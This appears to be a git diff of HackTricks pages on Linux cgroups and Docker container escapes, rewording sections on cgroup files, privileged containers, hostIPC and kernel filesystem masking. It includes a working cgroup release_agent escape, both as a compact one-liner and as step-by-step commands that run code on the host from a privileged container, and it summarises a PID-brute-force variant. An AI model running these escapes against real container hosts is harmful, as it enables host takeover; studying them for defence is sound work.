The key interface files for cgroups are prefixed with **cgroup**. The **cgroup.procs** file, which can be viewed with standard commands like cat, lists the processes within the cgroup. Another file, **cgroup.threads**, includes thread information.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (5).png" alt=""><figcaption></figcaption></figure>
|
||||
![Cgroup Procs](../../../.gitbook/assets/image%20(1)%20(1)%20(5).png)
|
||||
|
||||
Most cgroups used for shells have these two controllers, which can control the **amount of memory** used and the **total number of processes in the cgroup**. To interact with a controller, look for the **files that match the controller prefix**. For example, if you want to see the number of threads running in the cgroup, consult pids.current:
|
||||
Cgroups managing shells typically encompass two controllers that regulate memory usage and process count. To interact with a controller, files bearing the controller's prefix should be consulted. For instance, **pids.current** would be referenced to ascertain the count of threads in the cgroup.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (5).png" alt=""><figcaption></figcaption></figure>
|
||||
![Cgroup Memory](../../../.gitbook/assets/image%20(3)%20(5).png)
|
||||
|
||||
The indication of **max** in a value suggests the absence of a specific limit for the cgroup. However, due to the hierarchical nature of cgroups, limits might be imposed by a cgroup at a lower level in the directory hierarchy.
|
||||
|
||||
A value of **max means that this cgroup has no specific limit**, but because cgroups are hierarchical, a cgroup back down the subdirectory chain might limit it.
|
||||
|
||||
### Manipulating and Creating cgroups
|
||||
|
||||
To put a process into a cgroup, **write its PID to its `cgroup.procs` file as root:**
|
||||
Processes are assigned to cgroups by **writing their Process ID (PID) to the `cgroup.procs` file**. This requires root privileges. For instance, to add a process:
|
||||
|
||||
```shell-session
|
||||
# echo pid > cgroup.procs
|
||||
```bash
|
||||
echo [pid] > cgroup.procs
|
||||
```
|
||||
|
||||
This is how many changes to cgroups work. For example, if you want to **limit the maximum number of PIDs of a cgroup** (to, say, 3,000 PIDs), do it as follows:
|
||||
Similarly, **modifying cgroup attributes, like setting a PID limit**, is done by writing the desired value to the relevant file. To set a maximum of 3,000 PIDs for a cgroup:
|
||||
|
||||
```shell-session
|
||||
# echo 3000 > pids.max
|
||||
```bash
|
||||
echo 3000 > pids.max
|
||||
```
|
||||
|
||||
**Creating cgroups is trickier**. Technically, it’s as easy as creating a subdirectory somewhere in the cgroup tree; when you do so, the kernel automatically creates the interface files. If a cgroup has no processes, you can remove the cgroup with rmdir even with the interface files present. What can trip you up are the rules governing cgroups, including:
|
||||
**Creating new cgroups** involves making a new subdirectory within the cgroup hierarchy, which prompts the kernel to automatically generate necessary interface files. Though cgroups without active processes can be removed with `rmdir`, be aware of certain constraints:
|
||||
|
||||
* You can put **processes only in outer-level (“leaf”) cgroups**. For example, if you have cgroups named /my-cgroup and /my-cgroup/my-subgroup, you can’t put processes in /my-cgroup, but /my-cgroup/my-subgroup is okay. (An exception is if the cgroups have no controllers, but let’s not dig further.)
|
||||
* A cgroup **can’t have a controller that isn’t in its parent cgroup**.
|
||||
* You must explicitly **specify controllers for child cgroups**. You do this through the `cgroup.subtree_control` file; for example, if you want a child cgroup to have the cpu and pids controllers, write +cpu +pids to this file.
|
||||
- **Processes can only be placed in leaf cgroups** (i.e., the most nested ones in a hierarchy).
|
||||
- **A cgroup cannot possess a controller absent in its parent**.
|
||||
- **Controllers for child cgroups must be explicitly declared** in the `cgroup.subtree_control` file. For example, to enable CPU and PID controllers in a child cgroup:
|
||||
|
||||
An exception to these rules is the **root cgroup** found at the bottom of the hierarchy. You can **place processes in this cgroup**. One reason you might want to do this is to detach a process from systemd’s control.
|
||||
```bash
|
||||
echo "+cpu +pids" > cgroup.subtree_control
|
||||
```
|
||||
|
||||
Even with no controllers enabled, you can see the CPU usage of a cgroup by looking at its cpu.stat file:
|
||||
The **root cgroup** is an exception to these rules, allowing direct process placement. This can be used to remove processes from systemd management.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (6) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
**Monitoring CPU usage** within a cgroup is possible through the `cpu.stat` file, displaying total CPU time consumed, helpful for tracking usage across a service's subprocesses:
|
||||
|
||||
Because this is the accumulated CPU usage over the entire lifespan of the cgroup, you can see how a service consumes processor time even if it spawns many subprocesses that eventually terminate.
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (6) (3).png" alt=""><figcaption>CPU usage statistics as shown in the cpu.stat file</figcaption></figure>
|
||||
|
||||
## References
|
||||
* **Book: How Linux Works, 3rd Edition: What Every Superuser Should Know By Brian Ward**
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -104,7 +104,7 @@ A privileged container can be created with the flag `--privileged` or disabling
|
|||
* `--cgroupns=host`
|
||||
* `Mount /dev`
|
||||
|
||||
The `--privileged` flag introduces significant security concerns, and the exploit relies on launching a docker container with it enabled. When using this flag, containers have full access to all devices and lack restrictions from seccomp, AppArmor, and Linux capabilities. You can r**ead all the effects of `--privileged`** in this page:
|
||||
The `--privileged` flag significantly lowers container security, offering **unrestricted device access** and bypassing **several protections**. For a detailed breakdown, refer to the documentation on `--privileged`'s full impacts.
|
||||
|
||||
{% content-ref url="../docker-privileged.md" %}
|
||||
[docker-privileged.md](../docker-privileged.md)
|
||||
|
@ -401,8 +401,7 @@ bash -p #From non priv inside mounted folder
|
|||
If you have access as **root inside a container** and you have **escaped as a non privileged user to the host**, you can abuse both shells to **privesc inside the host** if you have the capability MKNOD inside the container (it's by default) as [**explained in this post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
|
||||
With such capability the root user within the container is allowed to **create block device files**. Device files are special files that are used to **access underlying hardware & kernel modules**. For example, the /dev/sda block device file gives access to **read the raw data on the systems disk**.
|
||||
|
||||
Docker ensures that block devices **cannot be abused from within the container** by setting a cgroup policy on the container that blocks read and write of block devices.\
|
||||
However, if a block device is **created within the container it can be accessed** through the /proc/PID/root/ folder by someone **outside the container**, the limitation being that the **process must be owned by the same user** outside and inside the container.
|
||||
Docker safeguards against block device misuse within containers by enforcing a cgroup policy that **blocks block device read/write operations**. Nevertheless, if a block device is **created inside the container**, it becomes accessible from outside the container via the **/proc/PID/root/** directory. This access requires the **process owner to be the same** both inside and outside the container.
|
||||
|
||||
**Exploitation** example from this [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
|
||||
|
||||
|
@ -500,11 +499,11 @@ You will be able also to access **network services binded to localhost** inside
|
|||
|
||||
### hostIPC
|
||||
|
||||
```
|
||||
```bash
|
||||
docker run --rm -it --ipc=host ubuntu bash
|
||||
```
|
||||
|
||||
If you only have `hostIPC=true`, you most likely can't do much. If any process on the host or any processes within another pod is using the host’s **inter-process communication mechanisms** (shared memory, semaphore arrays, message queues, etc.), you'll be able to read/write to those same mechanisms. The first place you'll want to look is `/dev/shm`, as it is shared between any pod with `hostIPC=true` and the host. You'll also want to check out the other IPC mechanisms with `ipcs`.
|
||||
With `hostIPC=true`, you gain access to the host's inter-process communication (IPC) resources, such as **shared memory** in `/dev/shm`. This allows reading/writing where the same IPC resources are used by other host or pod processes. Use `ipcs` to inspect these IPC mechanisms further.
|
||||
|
||||
* **Inspect /dev/shm** - Look for any files in this shared memory location: `ls -la /dev/shm`
|
||||
* **Inspect existing IPC facilities** – You can check to see if any IPC facilities are being used with `/usr/bin/ipcs`. Check it with: `ipcs -a`
|
||||
|
|
|
@ -14,76 +14,63 @@ Other ways to support HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
### Breaking down the proof of concept
|
||||
|
||||
To trigger this exploit we need a cgroup where we can create a `release_agent` file and trigger `release_agent` invocation by killing all processes in the cgroup. The easiest way to accomplish that is to mount a cgroup controller and create a child cgroup.
|
||||
**For further details, refer to the [original blog post](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/).** This is just a summary:
|
||||
|
||||
To do that, we create a `/tmp/cgrp` directory, mount the [RDMA](https://www.kernel.org/doc/Documentation/cgroup-v1/rdma.txt) cgroup controller and create a child cgroup (named “x” for the purposes of this example). While every cgroup controller has not been tested, this technique should work with the majority of cgroup controllers.
|
||||
Original PoC:
|
||||
|
||||
If you’re following along and get **`mount: /tmp/cgrp: special device cgroup does not exist`**, it’s because your setup doesn’t have the RDMA cgroup controller. **Change `rdma` to `memory` to fix it**. We’re using RDMA because the original PoC was only designed to work with it.
|
||||
|
||||
Note that cgroup controllers are global resources that can be mounted multiple times with different permissions and the changes rendered in one mount will apply to another.
|
||||
|
||||
We can see the “x” child cgroup creation and its directory listing below.
|
||||
|
||||
```shell-session
|
||||
root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
root@b11cf9eab4fd:/# ls /tmp/cgrp/
|
||||
cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks x
|
||||
root@b11cf9eab4fd:/# ls /tmp/cgrp/x
|
||||
cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasks
|
||||
```shell
|
||||
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
|
||||
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
|
||||
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
|
||||
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
|
||||
```
|
||||
|
||||
Next, we **enable cgroup** notifications on release of the “x” cgroup by **writing a 1** to its `notify_on_release` file. We also set the RDMA cgroup release agent to execute a `/cmd` script — which we will later create in the container — by writing the `/cmd` script path on the host to the `release_agent` file. To do it, we’ll grab the container’s path on the host from the `/etc/mtab` file.
|
||||
The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a `release_agent` file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved:
|
||||
|
||||
The files we add or modify in the container are present on the host, and it is possible to modify them from both worlds: the path in the container and their path on the host.
|
||||
1. **Prepare the Environment:**
|
||||
- A directory `/tmp/cgrp` is created to serve as a mount point for the cgroup.
|
||||
- The RDMA cgroup controller is mounted to this directory. In case of absence of the RDMA controller, it's suggested to use the `memory` cgroup controller as an alternative.
|
||||
|
||||
Those operations can be seen below:
|
||||
|
||||
```shell-session
|
||||
root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release
|
||||
root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
||||
```shell
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
```
|
||||
|
||||
Note the path to the `/cmd` script, which we are going to create on the host:
|
||||
2. **Set Up the Child Cgroup:**
|
||||
- A child cgroup named "x" is created within the mounted cgroup directory.
|
||||
- Notifications are enabled for the "x" cgroup by writing 1 to its notify_on_release file.
|
||||
|
||||
```shell-session
|
||||
root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent
|
||||
/var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd
|
||||
```shell
|
||||
echo 1 > /tmp/cgrp/x/notify_on_release
|
||||
```
|
||||
|
||||
Now, we create the `/cmd` script such that it will execute the `ps aux` command and save its output into `/output` on the container by specifying the full path of the output file on the host. At the end, we also print the `/cmd` script to see its contents:
|
||||
3. **Configure the Release Agent:**
|
||||
- The path of the container on the host is obtained from the /etc/mtab file.
|
||||
- The release_agent file of the cgroup is then configured to execute a script named /cmd located at the acquired host path.
|
||||
|
||||
```shell-session
|
||||
root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd
|
||||
root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd
|
||||
root@b11cf9eab4fd:/# chmod a+x /cmd
|
||||
root@b11cf9eab4fd:/# cat /cmd
|
||||
#!/bin/sh
|
||||
ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output
|
||||
```shell
|
||||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
||||
```
|
||||
|
||||
Finally, we can execute the attack by spawning a process that immediately ends inside the “x” child cgroup. By creating a `/bin/sh` process and writing its PID to the `cgroup.procs` file in “x” child cgroup directory, the script on the host will execute after `/bin/sh` exits. The output of `ps aux` performed on the host is then saved to the `/output` file inside the container:
|
||||
4. **Create and Configure the /cmd Script:**
|
||||
- The /cmd script is created inside the container and is configured to execute ps aux, redirecting the output to a file named /output in the container. The full path of /output on the host is specified.
|
||||
|
||||
```shell-session
|
||||
root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
root@b11cf9eab4fd:/# head /output
|
||||
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
|
||||
root 1 0.1 1.0 17564 10288 ? Ss 13:57 0:01 /sbin/init
|
||||
root 2 0.0 0.0 0 0 ? S 13:57 0:00 [kthreadd]
|
||||
root 3 0.0 0.0 0 0 ? I< 13:57 0:00 [rcu_gp]
|
||||
root 4 0.0 0.0 0 0 ? I< 13:57 0:00 [rcu_par_gp]
|
||||
root 6 0.0 0.0 0 0 ? I< 13:57 0:00 [kworker/0:0H-kblockd]
|
||||
root 8 0.0 0.0 0 0 ? I< 13:57 0:00 [mm_percpu_wq]
|
||||
root 9 0.0 0.0 0 0 ? S 13:57 0:00 [ksoftirqd/0]
|
||||
root 10 0.0 0.0 0 0 ? I 13:57 0:00 [rcu_sched]
|
||||
root 11 0.0 0.0 0 0 ? S 13:57 0:00 [migration/0]
|
||||
```shell
|
||||
echo '#!/bin/sh' > /cmd
|
||||
echo "ps aux > $host_path/output" >> /cmd
|
||||
chmod a+x /cmd
|
||||
```
|
||||
|
||||
### References
|
||||
5. **Trigger the Attack:**
|
||||
- A process is initiated within the "x" child cgroup and is immediately terminated.
|
||||
- This triggers the `release_agent` (the /cmd script), which executes ps aux on the host and writes the output to /output within the container.
|
||||
|
||||
```shell
|
||||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
```
|
||||
|
||||
* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -14,116 +14,28 @@ Other ways to support HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
For further details **check the blog port from [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. This is just a summary:
|
||||
|
||||
# Introduction
|
||||
The technique outlines a method for **executing host code from within a container**, overcoming challenges posed by storage-driver configurations that obscure the container's filesystem path on the host, like Kata Containers or specific `devicemapper` settings.
|
||||
|
||||
The previous PoCs work fine when the container is configured with a storage-driver which exposes the **full host path of the mount point**, for example `overlayfs`, however there are configurations which did **not obviously disclose the host file system mount point**.
|
||||
Key steps:
|
||||
|
||||
In this PoC instead of using the path where the container is located inside the hosts filesystem, we are going to discover a container PID inside the host a
|
||||
1. **Locating Process IDs (PIDs):** Using the `/proc/<pid>/root` symbolic link in the Linux pseudo-filesystem, any file within the container can be accessed relative to the host's filesystem. This bypasses the need to know the container's filesystem path on the host.
|
||||
2. **PID Bashing:** A brute force approach is employed to search through PIDs on the host. This is done by sequentially checking for the presence of a specific file at `/proc/<pid>/root/<file>`. When the file is found, it indicates that the corresponding PID belongs to a process running inside the target container.
|
||||
3. **Triggering Execution:** The guessed PID path is written to the `cgroups release_agent` file. This action triggers the execution of the `release_agent`. The success of this step is confirmed by checking for the creation of an output file.
|
||||
|
||||
## Examples of container not exposing the path location inside the host
|
||||
### Exploitation Process
|
||||
|
||||
### Kata Containers
|
||||
The exploitation process involves a more detailed set of actions, aiming to execute a payload on the host by guessing the correct PID of a process running inside the container. Here's how it unfolds:
|
||||
|
||||
```
|
||||
root@container:~$ head -1 /etc/mtab
|
||||
kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
|
||||
```
|
||||
1. **Initialize Environment:** A payload script (`payload.sh`) is prepared on the host, and a unique directory is created for cgroup manipulation.
|
||||
2. **Prepare Payload:** The payload script, which contains the commands to be executed on the host, is written and made executable.
|
||||
3. **Set Up Cgroup:** The cgroup is mounted and configured. The `notify_on_release` flag is set to ensure that the payload executes when the cgroup is released.
|
||||
4. **Brute Force PID:** A loop iterates through potential PIDs, writing each guessed PID to the `release_agent` file. This effectively sets the payload script as the `release_agent`.
|
||||
5. **Trigger and Check Execution:** For each PID, the cgroup's `cgroup.procs` is written to, triggering the execution of the `release_agent` if the PID is correct. The loop continues until the output of the payload script is found, indicating successful execution.
|
||||
|
||||
[Kata Containers](https://katacontainers.io) by default mounts the root fs of a container over `9pfs`. This discloses no information about the location of the container file system in the Kata Containers Virtual Machine.
|
||||
|
||||
### Device Mapper
|
||||
|
||||
```
|
||||
root@container:~$ head -1 /etc/mtab
|
||||
/dev/sdc / ext4 rw,relatime,stripe=384 0 0
|
||||
```
|
||||
|
||||
I saw a container with this root mount in a live environment, I believe the container was running with a specific `devicemapper` storage-driver configuration, but at this point I have been unable to replicate this behaviour in a test environment.
|
||||
|
||||
# PoC
|
||||
|
||||
The one key piece of information required is the **full path, relative to the container host, of a file to execute within the container**. Without being able to discern this from mount points within the container we have to look elsewhere.
|
||||
|
||||
## /proc/\<pid>/root
|
||||
|
||||
The Linux `/proc` pseudo-filesystem exposes kernel process data structures for all processes running on a system, including those running in different namespaces, for example within a container. This can be shown by running a command in a container and accessing the `/proc` directory of the process on the host:Container
|
||||
|
||||
```bash
|
||||
root@container:~$ sleep 100
|
||||
```
|
||||
|
||||
```bash
|
||||
root@host:~$ ps -eaf | grep sleep
|
||||
root 28936 28909 0 10:11 pts/0 00:00:00 sleep 100
|
||||
root@host:~$ ls -la /proc/`pidof sleep`
|
||||
total 0
|
||||
dr-xr-xr-x 9 root root 0 Nov 19 10:03 .
|
||||
dr-xr-xr-x 430 root root 0 Nov 9 15:41 ..
|
||||
dr-xr-xr-x 2 root root 0 Nov 19 10:04 attr
|
||||
-rw-r--r-- 1 root root 0 Nov 19 10:04 autogroup
|
||||
-r-------- 1 root root 0 Nov 19 10:04 auxv
|
||||
-r--r--r-- 1 root root 0 Nov 19 10:03 cgroup
|
||||
--w------- 1 root root 0 Nov 19 10:04 clear_refs
|
||||
-r--r--r-- 1 root root 0 Nov 19 10:04 cmdline
|
||||
...
|
||||
-rw-r--r-- 1 root root 0 Nov 19 10:29 projid_map
|
||||
lrwxrwxrwx 1 root root 0 Nov 19 10:29 root -> /
|
||||
-rw-r--r-- 1 root root 0 Nov 19 10:29 sched
|
||||
...
|
||||
```
|
||||
|
||||
_As an aside, the `/proc/<pid>/root` data structure is one that confused me for a very long time, I could never understand why having a symbolic link to `/` was useful, until I read the actual definition in the man pages:_
|
||||
|
||||
> /proc/\[pid]/root
|
||||
>
|
||||
> UNIX and Linux support the idea of a per-process root of the filesystem, set by the chroot(2) system call. This file is a symbolic link that points to the process’s root directory, and behaves in the same way as exe, and fd/\*.
|
||||
>
|
||||
> Note however that this file is not merely a symbolic link. It provides the same view of the filesystem (including namespaces and the set of per-process mounts) as the process itself.
|
||||
|
||||
The **`/proc/<pid>/root` symbolic link can be used as a host relative path to any file within a container**:
|
||||
|
||||
```bash
|
||||
root@container:~$ echo findme > /findme
|
||||
root@container:~$ sleep 100
|
||||
```
|
||||
|
||||
```bash
|
||||
root@host:~$ cat /proc/`pidof sleep`/root/findme
|
||||
findme
|
||||
```
|
||||
|
||||
{% hint style="warning" %}
|
||||
**This changes the requirement for the attack from knowing the full path, relative to the container host, of a file within the container, to knowing the pid of **_**any**_** process running in the container.**
|
||||
{% endhint %}
|
||||
|
||||
## Pid Bashing <a href="#pid-bashing" id="pid-bashing"></a>
|
||||
|
||||
This is actually the easy part, process ids in Linux are numerical and assigned sequentially. The `init` process is assigned process id `1` and all subsequent processes are assigned incremental ids. To identify the **host process id of a process within a container, a brute force incremental search can be used**:
|
||||
|
||||
```
|
||||
root@container:~$ echo findme > /findme
|
||||
root@container:~$ sleep 100
|
||||
```
|
||||
|
||||
Host
|
||||
|
||||
```bash
|
||||
root@host:~$ COUNTER=1
|
||||
root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done
|
||||
root@host:~$ echo ${COUNTER}
|
||||
7822
|
||||
root@host:~$ cat /proc/${COUNTER}/root/findme
|
||||
findme
|
||||
```
|
||||
|
||||
## Putting it All Together <a href="#putting-it-all-together" id="putting-it-all-together"></a>
|
||||
|
||||
To complete this attack the brute force technique can be used to **guess the PID for the path `/proc/<pid>/root/payload.sh`**, with **each iteration** writing the guessed pid **path to the cgroups `release_agent` file, triggering the `release_agent`**, and seeing if an output file is created.
|
||||
|
||||
The only caveat with this technique is it is in no way shape or form subtle, and can increase the pid count very high. As no long running processes are kept running this _should_ not cause reliability issues, but don’t quote me on that.
|
||||
|
||||
The below PoC implements these techniques to provide a more generic attack than first presented in Felix’s original PoC for escaping a privileged container using the **cgroups `release_agent` functionality**:
|
||||
PoC from the blog post:
|
||||
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
@ -185,41 +97,6 @@ echo "Done! Output:"
|
|||
cat ${OUTPUT_PATH}
|
||||
```
|
||||
|
||||
Executing the PoC within a privileged container should provide output similar to:
|
||||
|
||||
```bash
|
||||
root@container:~$ ./release_agent_pid_brute.sh
|
||||
Checking pid 100
|
||||
Checking pid 200
|
||||
Checking pid 300
|
||||
Checking pid 400
|
||||
Checking pid 500
|
||||
Checking pid 600
|
||||
Checking pid 700
|
||||
Checking pid 800
|
||||
Checking pid 900
|
||||
Checking pid 1000
|
||||
Checking pid 1100
|
||||
Checking pid 1200
|
||||
|
||||
Done! Output:
|
||||
UID PID PPID C STIME TTY TIME CMD
|
||||
root 1 0 0 11:25 ? 00:00:01 /sbin/init
|
||||
root 2 0 0 11:25 ? 00:00:00 [kthreadd]
|
||||
root 3 2 0 11:25 ? 00:00:00 [rcu_gp]
|
||||
root 4 2 0 11:25 ? 00:00:00 [rcu_par_gp]
|
||||
root 5 2 0 11:25 ? 00:00:00 [kworker/0:0-events]
|
||||
root 6 2 0 11:25 ? 00:00:00 [kworker/0:0H-kblockd]
|
||||
root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
|
||||
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
||||
...
|
||||
```
|
||||
|
||||
# References
|
||||
|
||||
* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
|
|
@ -17,7 +17,7 @@ Other ways to support HackTricks:
|
|||
|
||||
The exposure of `/proc` and `/sys` without proper namespace isolation introduces significant security risks, including attack surface enlargement and information disclosure. These directories contain sensitive files that, if misconfigured or accessed by an unauthorized user, can lead to container escape, host modification, or provide information aiding further attacks. For instance, incorrectly mounting `-v /proc:/host/proc` can bypass AppArmor protection due to its path-based nature, leaving `/host/proc` unprotected.
|
||||
|
||||
You can find further details of each potential vuln in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts).
|
||||
**You can find further details of each potential vuln in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts).**
|
||||
|
||||
# procfs Vulnerabilities
|
||||
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -45,7 +45,7 @@ cpu nbd0 pts stdout tty27
|
|||
|
||||
### Read-only kernel file systems
|
||||
|
||||
Kernel file systems provide a mechanism for a **process to alter the way the kernel runs.** By default, we **don't want container processes to modify the kernel**, so we mount kernel file systems as read-only within the container.
|
||||
Kernel file systems provide a mechanism for a process to modify the behavior of the kernel. However, when it comes to container processes, we want to prevent them from making any changes to the kernel. Therefore, we mount kernel file systems as **read-only** within the container, ensuring that the container processes cannot modify the kernel.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Inside default container" %}
|
||||
|
@ -69,7 +69,7 @@ mount | grep '(ro'
|
|||
|
||||
### Masking over kernel file systems
|
||||
|
||||
The **/proc** file system is namespace-aware, and certain writes can be allowed, so we don't mount it read-only. However, specific directories in the /proc file system need to be **protected from writing**, and in some instances, **from reading**. In these cases, the container engines mount **tmpfs** file systems over potentially dangerous directories, preventing processes inside of the container from using them.
|
||||
The **/proc** file system is selectively writable but for security, certain parts are shielded from write and read access by overlaying them with **tmpfs**, ensuring container processes can't access sensitive areas.
|
||||
|
||||
{% hint style="info" %}
|
||||
**tmpfs** is a file system that stores all the files in virtual memory. tmpfs doesn't create any files on your hard drive. So if you unmount a tmpfs file system, all the files residing in it are lost for ever.
|
||||
|
@ -178,7 +178,7 @@ Also, note that when Docker (or other CRIs) are used in a **Kubernetes** cluster
|
|||
|
||||
### SELinux
|
||||
|
||||
When you run with the `--privileged` flag, **SELinux labels are disabled**, and the container runs with the **label that the container engine was executed with**. This label is usually `unconfined` and has **full access to the labels that the container engine does**. In rootless mode, the container runs with `container_runtime_t`. In root mode, it runs with `spc_t`.
|
||||
Running a container with the `--privileged` flag disables **SELinux labels**, causing it to inherit the label of the container engine, typically `unconfined`, granting full access similar to the container engine. In rootless mode, it uses `container_runtime_t`, while in root mode, `spc_t` is applied.
|
||||
|
||||
{% content-ref url="../selinux.md" %}
|
||||
[selinux.md](../selinux.md)
|
||||
|
@ -221,7 +221,7 @@ PID USER TIME COMMAND
|
|||
|
||||
### User namespace
|
||||
|
||||
Container engines do **NOT use user namespace by default**. However, rootless containers always use it to mount file systems and use more than a single UID. In the rootless case, user namespace can not be disabled; it is required to run rootless containers. User namespaces prevent certain privileges and add considerable security.
|
||||
**By default, container engines don't utilize user namespaces, except for rootless containers**, which require them for file system mounting and using multiple UIDs. User namespaces, integral for rootless containers, cannot be disabled and significantly enhance security by restricting privileges.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -234,7 +234,7 @@ Container engines do **NOT use user namespace by default**. However, rootless co
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -16,7 +16,7 @@ Other ways to support HackTricks:
|
|||
|
||||
## Basic Information
|
||||
|
||||
The time namespace allows for per-namespace offsets to the system monotonic and boot-time clocks. The time namespace is suited for Linux containers usage for allowing the date/time to be changed within a container and for adjusting clocks within a container following restoration from a checkpoint/snapshot.
|
||||
